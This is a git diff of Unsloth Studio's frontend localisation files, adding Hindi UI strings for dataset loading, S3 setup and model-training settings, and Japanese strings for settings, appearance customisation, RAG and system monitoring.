+      chooseDataset: "डेटासेट चुनें",
+      chooseDatasetTooltip:
+        "Hugging Face और स्थानीय recipe आउटपुट के बीच स्विच करने के लिए पॉपअप टैब का उपयोग करें।",
+      localTab: "स्थानीय",
+      searchHuggingFaceDatasets: "Hugging Face डेटासेट खोजें...",
+      searchLocalDatasets: "स्थानीय डेटासेट खोजें...",
+      searching: "खोजा जा रहा है...",
+      noDatasetsFound: "कोई डेटासेट नहीं मिला",
+      loadingLocalDatasets: "स्थानीय डेटासेट लोड हो रहे हैं...",
+      failedToLoadLocalDatasets: "स्थानीय डेटासेट लोड करने में विफल।",
+      noLocalDatasetsYet: "अभी तक कोई स्थानीय डेटासेट नहीं।",
+      noLocalDatasetsMatchSearch: "कोई स्थानीय डेटासेट खोज से मेल नहीं खाता।",
+      openDataRecipes: "Data Recipes खोलें",
+      browsingSource: "{browsing} ब्राउज़ कर रहे हैं। वर्तमान चयन {current} रहता है।",
+      localDatasets: "स्थानीय डेटासेट",
+      localDataset: "स्थानीय डेटासेट",
+      localDatasetRows: " / {count} पंक्तियां",
+      huggingFaceDataset: "Hugging Face डेटासेट",
+      localDatasetMetadata: "स्थानीय डेटासेट मेटाडेटा",
+      dataRecipeOutput: "Data Recipe आउटपुट।",
+      rows: "पंक्तियां",
+      columns: "कॉलम",
+      batches: "बैच",
+      updated: "अपडेट किया गया",
+      evalDataset: "Eval डेटासेट",
+      uploading: "अपलोड हो रहा है...",
+      upload: "अपलोड करें",
+      uploadEvalFile: "eval फ़ाइल अपलोड करें",
+      evalDatasetDescription:
+        "वैकल्पिक। यदि प्रदान नहीं किया गया, तो ट्रेनिंग डेटा से एक छोटा हिस्सा अलग किया जाएगा।",
+      advanced: "उन्नत",
+      targetFormat: "लक्ष्य प्रारूप",
+      targetFormatTooltip:
+        "आपके ट्रेनिंग डेटा का प्रारूप। ऑटो-डिटेक्ट अधिकांश डेटासेट के लिए काम करता है।",
+      auto: "स्वतः",
+      rawText: "कच्चा टेक्स्ट",
+      trainSplitStart: "ट्रेन स्प्लिट प्रारंभ",
+      trainSplitStartTooltip:
+        "एक प्रारंभ पंक्ति इंडेक्स (समावेशी, 0-आधारित) निर्दिष्ट करके केवल अपने ट्रेनिंग स्प्लिट के उपसमूह पर ट्रेन करें। पहली पंक्ति से शुरू करने के लिए खाली छोड़ें।",
+      trainSplitEnd: "ट्रेन स्प्लिट समाप्त",
+      trainSplitEndTooltip:
+        "ट्रेनिंग स्प्लिट से शामिल करने के लिए अंतिम पंक्ति इंडेक्स (समावेशी, 0-आधारित)। उदाहरण के लिए, पहली 100 पंक्तियों पर ट्रेन करने के लिए प्रारंभ को 0 और समाप्त को 99 सेट करें। सभी शेष पंक्तियों का उपयोग करने के लिए खाली छोड़ें।",
+      endPlaceholder: "समाप्त",
+      clear: "साफ़ करें",
+      dropFileOrClick: "यहां 1 फ़ाइल छोड़ें या अपलोड करने के लिए क्लिक करें",
+      viewDataset: "डेटासेट देखें",
+      uploadFailed: "अपलोड विफल",
+      unknownError: "अज्ञात त्रुटि",
+      unsupportedFileType: "असमर्थित फ़ाइल प्रकार",
+      uploadOneFileType: "एक {types} फ़ाइल अपलोड करें।",
+      datasetUploaded: "डेटासेट अपलोड किया गया",
+      evalDatasetUploaded: "Eval डेटासेट अपलोड किया गया",
+      uploadOneFileAtATime: "एक बार में एक फ़ाइल अपलोड करें",
+      uploadSingleFileDescription:
+        "ट्रेनिंग डेटासेट अपलोड एक ही फ़ाइल स्वीकार करता है।",
+      checkingToken: "token जांचा जा रहा है...",
+      getOrUpdateToken: "token प्राप्त या अपडेट करें",
+      preview: "डेटासेट का पूर्वावलोकन करें",
+      split: "स्प्लिट",
+      subset: "उपसमूह",
+      s3: {
+        title: "S3 कॉन्फ़िगरेशन",
+        description:
+          "Amazon S3 से .parquet, .json, .jsonl, या .csv डेटासेट लोड करें",
+        bucket: "बकेट नाम",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS क्षेत्र",
+        regionPlaceholder: "us-east-1",
+        prefix: "पथ प्रीफ़िक्स",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "बकेट में आपकी डेटासेट फ़ाइलों का वैकल्पिक पथ",
+        accessKeyId: "एक्सेस Key ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "सीक्रेट एक्सेस Key",
+        secretAccessKeyPlaceholder: "आपकी AWS सीक्रेट एक्सेस key",
+        useIamRole: "IAM Role का उपयोग करें",
+        useIamRoleTooltip:
+          "एक्सेस keys के बजाय IAM role क्रेडेंशियल का उपयोग करें (EC2/SageMaker के लिए अनुशंसित)",
+        testConnection: "कनेक्शन जांचें",
+        connectionSuccess: "S3 बकेट से सफलतापूर्वक कनेक्ट हुआ",
+        connectionFailed: "S3 बकेट से कनेक्ट करने में विफल",
+        comingSoon: "S3 एकीकरण जल्द आ रहा है",
+        comingSoonDescription:
+          "S3 डेटासेट लोडिंग के लिए boto3 आवश्यक है। यह सुविधा विकासाधीन है।",
+      },
+    },
+    params: {
+      title: "पैरामीटर",
+      description: "ट्रेनिंग हाइपरपैरामीटर कॉन्फ़िगर करें",
+      projectName: "प्रोजेक्ट नाम",
+      optional: "वैकल्पिक",
+      projectNameDescription:
+        "ट्रेनिंग आउटपुट फ़ोल्डर नामों, एक्सपोर्ट डिफ़ॉल्ट, और इतिहास में उपयोग किया जाता है।",
+      loraSettings: "LoRA सेटिंग्स",
+      trainingHyperparameters: "ट्रेनिंग हाइपरपैरामीटर",
+      maxSteps: "अधिकतम स्टेप्स",
+      epochs: "एपॉक",
+      useMaxSteps: "अधिकतम स्टेप्स का उपयोग करें",
+      useEpochs: "एपॉक का उपयोग करें",
+      maxStepsTooltip: "कुल ऑप्टिमाइज़र स्टेप्स को ओवरराइड करें।",
+      epochsTooltip: "डेटासेट पर पूर्ण पास की संख्या।",
+      epochsDescription: "प्रत्येक एपॉक आपके डेटासेट पर एक पूर्ण पास है।",
+      maxStepsDescription:
+        "ट्रेनिंग को ऑप्टिमाइज़र स्टेप्स की एक निश्चित संख्या तक सीमित करता है।",
+      contextLength: "कॉन्टेक्स्ट लंबाई",
+      contextLengthTooltip: "प्रति ट्रेनिंग सैंपल अधिकतम टोकन संख्या।",
+      customContextLength: "एक कस्टम मान दर्ज करें",
+      contextLengthDescription: "ट्रेनिंग सैंपल के लिए अधिकतम अनुक्रम लंबाई",
+      learningRate: "लर्निंग रेट",
+      learningRateTooltip:
+        "वेट अपडेट के लिए स्टेप साइज़। कम मान धीमी लेकिन अधिक स्थिर ट्रेनिंग करते हैं।",
+      learningRateDescription:
+        "अनुशंसित: LoRA के लिए 2e-4, CPT के लिए 5e-5, फुल फ़ाइन-ट्यून के लिए 2e-5",
+      embeddingLearningRate: "एम्बेडिंग लर्निंग रेट",
+      embeddingLearningRateTooltip:
+        "केवल तब उपयोग किया जाता है जब CPT embed_tokens को ट्रेन कर रहा हो। एम्बेडिंग LoRA वेट्स की तुलना में अधिक आसानी से अस्थिर हो जाती हैं, इसलिए उन्हें आमतौर पर एक छोटी LR की आवश्यकता होती है। lr/10 उपयोग करने के लिए खाली छोड़ें; सामान्य कार्यशील सीमा मुख्य LR से 2x-10x छोटी है। इसे केवल तभी बढ़ाएं जब शब्दावली या डोमेन-टोकन अनुकूलन बहुत धीमा हो।",
+      embeddingLearningRateDescription:
+        "lr/10 उपयोग करने के लिए खाली छोड़ें (अनुशंसित)। सामान्य सीमा मुख्य लर्निंग रेट से 2x-10x छोटी है।",
+      rank: "Rank",
+      rankTooltip:
+        "लो-रैंक मैट्रिक्स का आयाम। अधिक = अधिक क्षमता।",
+      alpha: "Alpha",
+      alphaTooltip: "LoRA अपडेट के लिए स्केलिंग फ़ैक्टर। आमतौर पर rank का 2x।",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "ओवरफ़िटिंग कम करने के लिए LoRA लेयर्स के लिए dropout प्रायिकता।",
+      visionLayers: "विज़न लेयर्स",
+      languageLayers: "लैंग्वेज लेयर्स",
+      attentionModules: "अटेंशन मॉड्यूल",
+      mlpModules: "MLP मॉड्यूल",
+      targetModules: "लक्ष्य मॉड्यूल",
+      enableLora: "LoRA सक्षम करें",
+      trainWithLora: "LoRA के साथ ट्रेन करें",
+      stableRank: "स्थिर Rank",
+      memoryEfficient: "मेमोरी कुशल",
+      optimization: "ऑप्टिमाइज़ेशन",
+      schedule: "शेड्यूल",
+      memory: "मेमोरी",
+      optimizer: "ऑप्टिमाइज़र",
+      optimizerTooltip:
+        "ऑप्टिमाइज़ेशन एल्गोरिदम। 8-बिट वेरिएंट मेमोरी उपयोग कम करते हैं। विज़न मॉडल के लिए Fused अनुशंसित है।",
+      lrScheduler: "LR शेड्यूलर",
+      lrSchedulerTooltip:
+        "ट्रेनिंग के दौरान लर्निंग रेट कैसे बदलता है। Linear स्थिर रूप से घटता है; cosine एक वक्र में घटता है।",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "बैच साइज़",
+      batchSizeTooltip: "प्रति स्टेप प्रोसेस किए गए सैंपल। अधिक होने पर अधिक VRAM उपयोग करता है।",
+      gradAccum: "ग्रेडिएंट संचय",
+      gradAccumTooltip: "अतिरिक्त VRAM के बिना बड़े बैच साइज़ का अनुकरण करता है।",
+      weightDecay: "वेट डिके",
+      weightDecayTooltip: "ओवरफ़िटिंग रोकने के लिए L2 रेगुलराइज़ेशन।",
+      warmupSteps: "वार्मअप स्टेप्स",
+      warmupStepsTooltip:
+        "स्थिरता के लिए ट्रेनिंग की शुरुआत में LR को धीरे-धीरे बढ़ाएं।",
+      scheduleEpochsTooltip:
+        "डेटासेट पर पूर्ण पास की संख्या। अधिकतम स्टेप्स के अनुसार चलाने के लिए 0 सेट करें।",
+      saveSteps: "सेव स्टेप्स",
+      saveStepsTooltip: "हर N स्टेप्स पर एक चेकपॉइंट सहेजें। अक्षम करने के लिए 0।",
+      evalSteps: "Eval स्टेप्स",
+      evalStepsTooltip:
+        "मूल्यांकनों के बीच कुल ट्रेनिंग स्टेप्स का अंश (0-1)। मूल्यांकन अक्षम करने के लिए 0 सेट करें। उदा. 0.01 = हर 1% स्टेप्स पर मूल्यांकन करें।",
+      seed: "सीड",
+      seedTooltip: "पुनरुत्पादन के लिए रैंडम seed।",
+      gradCheckpoint: "ग्रेडिएंट चेकपॉइंट",
+      gradCheckpointTooltip:
+        "एक्टिवेशन को फिर से गणना करके कंप्यूट को मेमोरी से बदलें।",
+      none: "कोई नहीं",
+      standard: "मानक",
+      enablePacking: "packing सक्षम करें",
+      assistantCompletionsOnly: "केवल असिस्टेंट completions",
+      readMore: "और पढ़ें",
+    },
+    training: {
+      title: "ट्रेनिंग",
+      description: "ट्रेनिंग की निगरानी और नियंत्रण करें",
+      chartNoDataTitle: "अभी तक कोई ट्रेनिंग डेटा नहीं",
+      chartNoDataDescription: "loss प्रगति देखने के लिए ट्रेनिंग शुरू करें",
+      startTraining: "ट्रेनिंग शुरू करें",
+      starting: "शुरू हो रहा है...",
+      loadingModel: "मॉडल लोड हो रहा है...",
+      checkingDataset: "डेटासेट जांचा जा रहा है...",
+      configLabel: "ट्रेनिंग कॉन्फ़िग",
+      upload: "अपलोड करें",
+      uploadConfigTooltip: "एक सहेजा गया YAML कॉन्फ़िग लोड करें",
+      save: "सहेजें",
+      saveConfigTooltip: "वर्तमान कॉन्फ़िग को YAML के रूप में डाउनलोड करें",
+      reset: "रीसेट करें",
+      resetConfigTooltip: "मॉडल डिफ़ॉल्ट पर रीसेट करें",
+      configLoaded: "कॉन्फ़िग लोड हुआ",
+      failedToLoadConfig: "कॉन्फ़िग लोड करने में विफल",
+      invalidYamlFile: "अमान्य YAML फ़ाइल",
+      failedToReadFile: "फ़ाइल पढ़ने में विफल",
+      parametersReset: "पैरामीटर मॉडल डिफ़ॉल्ट पर रीसेट किए गए",
+      audioIncompatible:
+        "यह मॉडल ऑडियो का समर्थन नहीं करता। एक ऑडियो-सक्षम मॉडल पर स्विच करें या एक गैर-ऑडियो डेटासेट चुनें।",
+      visionIncompatible:
+        "टेक्स्ट मॉडल मल्टीमॉडल डेटासेट के साथ संगत नहीं है। एक विज़न मॉडल पर स्विच करें या एक केवल-टेक्स्ट डेटासेट चुनें।",
+      cancelTitle: "ट्रेनिंग रद्द करें",
+      cancelDescription: "क्या आप वर्तमान ट्रेनिंग रन को रद्द करना चाहते हैं?",
+      continueAction: "ट्रेनिंग जारी रखें",
+      cancelAction: "ट्रेनिंग रद्द करें",
+      stopTitle: "ट्रेनिंग रोकें",
+      stopDescription: "चुनें कि आप वर्तमान ट्रेनिंग रन को कैसे रोकना चाहते हैं।",
+      stopAction: "रोकें",
+      stopping: "रोका जा रहा है...",
+      stopAndSave: "रोकें और सहेजें",
+      compareInChat: "चैट में तुलना करें",
+      exportModel: "मॉडल एक्सपोर्ट करें",
+      milestone: "मील का पत्थर",
+      halfwayDone: "आधा हो गया। ट्रेनिंग 50% पार कर चुकी है।",
+      doneNextStep:
+        "ट्रेनिंग पूर्ण। अगला चरण: बेस बनाम फ़ाइन-ट्यून किए गए आउटपुट की तुलना करें।",
+    },
+    history: {
+      title: "इतिहास",
+      emptyTitle: "अभी तक कोई ट्रेनिंग रन नहीं",
+      emptyDescription:
+        "अभी तक कोई ट्रेनिंग रन नहीं। कॉन्फ़िगर टैब में अपनी पहली ट्रेनिंग रन शुरू करें।",
+      loadError: "ट्रेनिंग रन लोड करने में विफल",
+      deleteError: "ट्रेनिंग रन हटाने में विफल। कृपया पुनः प्रयास करें।",
+      retry: "पुनः प्रयास करें",
+      loadMore: "और लोड करें",
+      loading: "लोड हो रहा है...",
+      loadingRun: "ट्रेनिंग रन लोड हो रही है...",
+      runNotFound: "रन नहीं मिली",
+      deleteTitle: "ट्रेनिंग रन हटाएं?",
+      deleteDescription:
+        "यह इस ट्रेनिंग रन और इसके सभी मेट्रिक्स को स्थायी रूप से हटा देगा। इस कार्रवाई को पूर्ववत नहीं किया जा सकता।",
+      runCount: "{count} रन",
+      oneRun: "1 रन",
+      resume: "फिर से शुरू करें",
+      resumeTraining: "ट्रेनिंग फिर से शुरू करें",
+      resuming: "फिर से शुरू हो रहा है...",
+      deleteRun: "रन हटाएं",
+      loss: "Loss",
+      steps: "स्टेप्स",
+      lossTrendSparkline: "Loss ट्रेंड स्पार्कलाइन",
+      relativeJustNow: "अभी",
+      relativeMinutesAgo: "{count} मिनट पहले",
+      relativeHoursAgo: "{count} घंटे पहले",
+      relativeDaysAgo: "{count} दिन पहले",
+      status: {
+        completed: "पूर्ण",
+        stopped: "रोका गया",
+        error: "त्रुटि",
+        running: "चल रहा है",
+        continued: "जारी रखा गया",
+      },
+      message: {
+        completed: "ट्रेनिंग पूर्ण हुई",
+        stopped: "ट्रेनिंग रोकी गई",
+        running: "ट्रेनिंग जारी है",
+        errored: "ट्रेनिंग में त्रुटि हुई",
+      },
+      copyPreviewLink: "पूर्वावलोकन लिंक कॉपी करें",
+      previewLinkCopied: "पूर्वावलोकन लिंक कॉपी किया गया",
+      previewLinkCopyFailed: "लिंक कॉपी नहीं किया जा सका",
+    },
+    charts: {
+      settings: "चार्ट सेटिंग्स",
+      settingsDescription:
+        "ट्रेनिंग चलते रहने के दौरान चार्ट प्रस्तुति को समायोजित करें।",
+      openSettings: "चार्ट सेटिंग्स खोलें",
+      viewWindow: "व्यू विंडो",
+      viewWindowDescription: "केवल नवीनतम स्टेप्स या पूरा इतिहास दिखाएं।",
+      window: "विंडो",
+      all: "सभी",
+      trainingLoss: "ट्रेनिंग Loss",
+      trainingLossDescription: "ओवरले और EMA स्मूदिंग को नियंत्रित करें।",
+      smoothing: "स्मूदिंग",
+      smoothingDescription: "अधिक स्मूदिंग के लिए दाईं ओर ले जाएं। `0` = कच्चा।",
+      showRawLoss: "कच्चा loss दिखाएं",
+      showSmoothedLoss: "स्मूद किया गया loss दिखाएं",
+      showAverageLine: "औसत रेखा दिखाएं",
+      scaleAndCleanup: "स्केल और क्लीनअप",
+      linear: "Linear",
+      log: "Log",
+      noClip: "कोई clip नहीं",
+      clipP99: "क्लिप p99",
+      clipP95: "क्लिप p95",
+      lossAxis: "Loss अक्ष",
+      gradientNormAxis: "ग्रेडिएंट नॉर्म अक्ष",
+      learningRateAxis: "लर्निंग रेट अक्ष",
+      resetDefaults: "डिफ़ॉल्ट रीसेट करें",
+      loss: "Loss",
+      smoothed: "स्मूद किया गया",
+      evalLoss: "मूल्यांकन Loss",
+      learningRate: "लर्निंग रेट",
+      lr: "LR",
+      gradNorm: "ग्रेडिएंट नॉर्म",
+      gradientNorm: "ग्रेडिएंट नॉर्म",
+      step: "स्टेप {step}",
+      averageValue: "औसत {value}",
+      waitingForFirstEvaluationStep: "पहले मूल्यांकन स्टेप की प्रतीक्षा में...",
+      evaluationNotConfigured: "मूल्यांकन कॉन्फ़िगर नहीं किया गया",
+      evalChartWillAppear: "eval_steps तक पहुंचने पर चार्ट दिखाई देगा",
+      setEvalDatasetAndSteps:
+        "eval loss ट्रैक करने के लिए eval डेटासेट और eval_steps सेट करें",
+    },
+    progress: {
+      title: "ट्रेनिंग प्रगति",
+      liveMetrics: "लाइव ट्रेनिंग मेट्रिक्स",
+      exportGguf: "GGUF में एक्सपोर्ट करें",
+      openConfig: "ट्रेनिंग कॉन्फ़िग खोलें",
+      configLabel: "ट्रेनिंग कॉन्फ़िग",
+      hyperparams: "हाइपरपैराम्स",
+      epochs: "एपॉक",
+      batchSize: "बैच साइज़",
+      learningRate: "लर्निंग रेट",
+      optimizer: "ऑप्टिमाइज़र",
+      maxSteps: "अधिकतम स्टेप्स",
+      contextLength: "कॉन्टेक्स्ट लंबाई",
+      warmupSteps: "वार्मअप स्टेप्स",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "वेरिएंट",
+      epoch: "एपॉक {value}",
+      percentComplete: "{percent}% पूर्ण",
+      stepProgress: "स्टेप {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "ग्रेडिएंट नॉर्म",
+      project: "प्रोजेक्ट",
+      model: "मॉडल",
+      method: "विधि",
+      elapsed: "बीता समय: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} स्टेप्स/से",
+      noStepsPerSecond: "-- स्टेप्स/से",
+      tokens: "टोकन: {value}",
+      gpuMonitor: "GPU मॉनिटर",
+      live: "लाइव",
+      utilization: "उपयोग",
+      temperature: "तापमान",
+      vram: "VRAM",
+      power: "पावर",
+      phase: {
+        idle: "निष्क्रिय",
+        downloadingModel: "मॉडल डाउनलोड हो रहा है",
+        downloadingDataset: "डेटासेट डाउनलोड हो रहा है",
+        loadingModel: "मॉडल लोड हो रहा है",
+        loadingDataset: "डेटासेट लोड हो रहा है",
+        configuring: "कॉन्फ़िगर हो रहा है",
+        training: "ट्रेनिंग हो रही है",
+        completed: "पूर्ण",
+        error: "त्रुटि",
+        stopped: "रोका गया",
+      },
+    },
+    trainingStart: {
+      ready: "तैयार",
+      downloading: "डाउनलोड हो रहा है",
+      preparing: "तैयार हो रहा है",
+      left: "{eta} शेष",
+      downloaded: "{size} डाउनलोड किया गया",
+      terminalStart: "> unsloth ट्रेनिंग शुरू हो रही है...",
+      preparingResources: "> मॉडल और डेटासेट तैयार हो रहे हैं...",
+      gettingReady: "> हम आपकी रन के लिए सब कुछ तैयार कर रहे हैं...",
+      waitingForFirstStep: "> {message} | पहले स्टेप की प्रतीक्षा में... ({step})",
+      resumingTraining: "ट्रेनिंग फिर से शुरू हो रही है...",
+      startingTraining: "ट्रेनिंग शुरू हो रही है...",
+      dataset: "डेटासेट",
+      datasetStreaming: "डेटासेट: स्ट्रीमिंग (कोई पूर्ण डाउनलोड नहीं)",
+      modelWeights: "मॉडल वेट्स",
+    },
+    tour: {
+      guidedTour: "गाइडेड टूर",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/ja.ts b/studio/frontend/src/i18n/locales/ja.ts
index f2020f3cfb..c0a8c62734 100644
--- a/studio/frontend/src/i18n/locales/ja.ts
+++ b/studio/frontend/src/i18n/locales/ja.ts
@@ -2,6 +2,9 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 // See /studio/LICENSE.AGPL-3.0
 
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
 export const ja = {
   common: {
     cancel: "キャンセル",
@@ -37,11 +40,12 @@ export const ja = {
       returnToChat: "チャットに戻る",
       compare: "比較",
       search: "検索",
-      hub: "ハブ",
-      train: "トレイン",
+      hub: "モデル",
+      train: "トレーニング",
       recipes: "レシピ",
       export: "エクスポート",
       recents: "履歴",
+      noChatsYet: "チャットがまだありません",
       settings: "設定",
       api: "API",
       lightMode: "ライトモード",
@@ -88,15 +92,19 @@ export const ja = {
       title: "設定",
       description: "Unsloth の環境設定を管理します。",
       closeAriaLabel: "設定を閉じる",
+      searchPlaceholder: "設定を検索…",
+      searchNoResults: "設定が見つかりません。",
     },
     tabs: {
       general: "一般",
       profile: "プロフィール",
       appearance: "外観",
+      resources: "システム",
       chat: "チャット",
       connections: "接続",
       apiKeys: "API",
       about: "情報",
+      voice: "音声",
     },
     general: {
       title: "一般",
@@ -106,9 +114,9 @@ export const ja = {
       huggingFaceTokenDescription: "ゲート付きモデルの読み込みや、アーティファクトのプッシュに使用されます。",
       hideToken: "トークンを非表示",
       showToken: "トークンを表示",
-      tokenSaved: "トークンを保存しました",
+      tokenValidated: "トークンは検証済みです",
       password: "パスワード",
-      passwordDescription: "この Studio アカウントのパスワードを変更します。",
+      passwordDescription: "この Unsloth アカウントのパスワードを変更します。",
       passwordDialog: {
         trigger: "パスワード変更",
         title: "パスワード変更",
@@ -136,6 +144,18 @@ export const ja = {
         loadError: "Helper LLM 設定の読み込みに失敗しました。",
         saveError: "Helper LLM 設定の保存に失敗しました。",
       },
+      modelAutoSwitch: {
+        sectionTitle: "モデル自動切り替え (OpenAI API)",
+        enable: "リクエストごとにモデルを切り替え",
+        enableDescription: "OpenAI互換のリクエストが別のダウンロード済み GGUF を指定した場合、応答する前にそのモデルを読み込みます。デフォルトはオフです。不明な名前の場合は、読み込み済みのモデルで応答を続けます。",
+        idleUnload: "アイドル時の自動アンロード",
+        idleUnloadDescription: "指定した秒数だけアイドル状態が続くとモデルをアンロードして VRAM を解放します。次のリクエストで再読み込みされます。0 にすると読み込んだままにします。最小 60 秒。",
+        idleNeedsEnable: "アンロードされたモデルが次回使用時に再読み込みされるように、「リクエストごとにモデルを切り替え」をオンにしてください。",
+        idleActiveViaEnv: "アイドル時の自動アンロードは UNSLOTH_MODEL_IDLE_TTL 環境変数によって有効になっています。",
+        loadError: "モデル自動切り替え設定の読み込みに失敗しました。",
+        saveError: "モデル自動切り替え設定の保存に失敗しました。",
+        idleError: "モデルを読み込んだままにするには 0 を、それ以外は 60 秒以上を入力してください。",
+      },
       previewSharing: {
         sectionTitle: "プレビュー共有",
         enableLabel: "公開プレビューリンク",
@@ -166,6 +186,18 @@ export const ja = {
         maxUploadSize: "トレーニングデータセットのアップロード容量制限",
         maxUploadSizeDescription: "デフォルトは {defaultSize} MB です。",
       },
+      rag: {
+        sectionTitle: "ドキュメントと RAG",
+        embeddingModel: "埋め込みモデル",
+        embeddingModelDescription: "ドキュメントのインデックス作成と検索に使用する Hugging Face モデルまたはローカルパス。デフォルトは {defaultModel} です。",
+        reindexWarning: "新しくインデックスされるドキュメントにのみ影響します。モデルを変更した後は、既存のドキュメントを再アップロードしてください。",
+        emptyError: "Hugging Face モデル ID またはローカルパスを入力してください。",
+        loadError: "埋め込みモデル設定の読み込みに失敗しました。",
+        saveError: "埋め込みモデルの保存に失敗しました。",
+        saved: "埋め込みモデルを保存しました。",
+        saveAnyway: "そのまま保存",
+        resetAction: "デフォルトに戻す",
+      },
       storage: {
         sectionTitle: "ストレージ",
         modelsFolder: "モデルフォルダ",
@@ -197,7 +229,11 @@ export const ja = {
       avatarShape: "プロフィール写真の形状",
       avatarShapeCircle: "円形",
       avatarShapeRounded: "角丸",
-      chooseSloth: "またはナマケモノを選択",
+      greetingSloth: "挨拶にナマケモノを表示",
+      greetingSlothDescription: "チャットの挨拶にナマケモノを表示します。",
+      chooseSloth: "またはナマケモノのプロフィール画像を選択",
+      noPicture: "プロフィール画像なし",
+      noneLabel: "なし",
       nameSaved: "プロフィール名を保存しました",
       namePersistErrorTitle: "プロフィール名を永続化できませんでした",
       namePersistErrorDescription: "名前はこのセッション用に更新されましたが、再読み込み後に保持されない可能性があります。",
@@ -218,16 +254,161 @@ export const ja = {
         light: "ライト",
         dark: "ダーク",
       },
+      palette: {
+        label: "カラーパレット",
+        description: "Unsloth 全体で使用される配色。ライト・ダーク両対応。",
+        standard: "スタンダード",
+        classic: "クラシック",
+        minimal: "ミニマル",
+      },
+      custom: {
+        reset: "リセット",
+        resetAll: "カスタマイズをリセット",
+        preferencesTitle: "環境設定",
+        colors: {
+          lightGroup: "ライトテーマ",
+          darkGroup: "ダークテーマ",
+          accent: "アクセント",
+          background: "背景",
+          foreground: "文字色",
+        },
+        fontDefault: "デフォルト",
+        fontBundledGroup: "内蔵",
+        fontImportedGroup: "インポート済み",
+        fontDeviceGroup: "このデバイス",
+        fontFolderGroup: "フォルダから",
+        fontDeviceLoading: "デバイスのフォントを検索中…",
+        fontSearch: "フォントを検索…",
+        fontNoResults: "フォントが見つかりません。",
+        colorPicker: {
+          hue: "色相",
+          hex: "16進カラー",
+          eyedropper: "画面から色を選択",
+        },
+        uiFont: {
+          label: "UI フォント",
+        },
+        headingFont: {
+          label: "見出しフォント",
+        },
+        chatFont: {
+          label: "チャットフォント",
+        },
+        codeFont: {
+          label: "コードフォント",
+        },
+        importFont: {
+          upload: "アップロード",
+          scanFolder: "フォルダを選択",
+          alreadyAvailable: "このフォントは既に利用可能なため、既存のものを使用します。",
+          folderNoFonts: "そのフォルダにフォントファイルが見つかりませんでした。",
+          remove: "削除",
+          errorInvalidType:
+            "サポートされていないファイル形式です。.woff2、.woff、.ttf、.otf を使用してください。",
+          errorTooLarge: "フォントファイルが大きすぎます（最大 1.5 MB）。",
+          errorLimit: "インポートできるフォントは最大 3 つです。",
+          errorStorageFull: "ローカルストレージの空き容量が足りません。先にインポート済みフォントを削除してください。",
+          errorFailed: "このフォントファイルを読み込めませんでした。",
+        },
+        uiFontSize: {
+          label: "UI フォントサイズ",
+          description: "Unsloth UI の基本サイズを調整します。",
+        },
+        codeFontSize: {
+          label: "コードフォントサイズ",
+          description: "コードの基本サイズを調整します。",
+        },
+        fontSmoothing: {
+          label: "フォントスムージング",
+          description: "滑らかなアンチエイリアスを使用します。",
+        },
+        contrast: {
+          label: "コントラスト",
+          description: "枠線と補助テキストの強さ。",
+        },
+        reduceMotion: {
+          label: "モーションを減らす",
+          description: "アニメーションを減らすか、システム設定に従います。",
+          system: "システム",
+          on: "オン",
+          off: "オフ",
+        },
+        pointerCursors: {
+          label: "ポインターカーソルを使用",
+          description:
+            "操作可能な要素にカーソルを合わせたときにポインターに変更します。",
+        },
+      },
       language: {
         title: "言語",
         label: "表示言語",
         description: "Unsloth で使用される言語。",
+        autoDetect: "自動検出",
       },
       layout: {
         title: "レイアウト",
         compactSidebar: "デフォルトでサイドバーを固定",
         compactSidebarDescription: "サイドバーをアイコンに折りたたまず、展開したままにします。",
       },
+      sidebarMenu: {
+        title: "サイドバーメニュー",
+        description:
+          "サイドバーのプロフィールメニュー項目の表示と並び順を変更します。設定、ヘルプ、ログアウト、シャットダウンは固定です。",
+        darkModeToggle: "ダークモード切り替え",
+        dragToReorder: "ドラッグして並べ替え",
+      },
+    },
+    resources: {
+      title: "システム",
+      description: "この Unsloth サーバーのハードウェアとストレージを監視します。",
+      liveUpdates: "リアルタイム更新",
+      floatingWindow: "フローティングウィンドウ",
+      disableOverlay: "オーバーレイを無効化",
+      liveMonitor: {
+        title: "リアルタイムモニター",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "ディスク",
+        vram: "VRAM",
+        cpuCores: "論理 {logical} / 物理 {physical} コア",
+        currentLoad: "現在の負荷",
+        free: "{value} 空き",
+        noGpu: "認識できる GPU がありません",
+      },
+      gpu: {
+        title: "GPU デバイス",
+        noGpu: "認識できる GPU が検出されませんでした。上には CPU のみのリソースが表示されています。",
+        unknownDevice: "不明な GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} 使用中",
+        free: "{value} 空き",
+        total: "{value} 合計",
+      },
+      storage: {
+        title: "ストレージ",
+        systemDisk: "システムディスク",
+        diskUsage: "{used} 使用中 / {total}",
+        diskFree: "{free} 空き",
+        modelsFolder: "モデルフォルダ",
+        modelsFolderDescription: "ダウンロードしたモデルの保存先。",
+        openAction: "開く",
+        copyAction: "パスをコピー",
+        copied: "パスをコピーしました",
+        openError: "フォルダを開けませんでした",
+        copyError: "パスをコピーできませんでした",
+      },
+      environment: {
+        title: "環境",
+        backend: "バックエンド",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "稼働時間",
+        processMemory: "プロセスメモリ",
+        notInstalled: "未インストール",
+        unknown: "不明",
+      },
     },
     chat: {
       title: "チャット",
@@ -296,7 +477,6 @@ export const ja = {
       description: "OpenAI互換 API を介して Unsloth にアクセスします。",
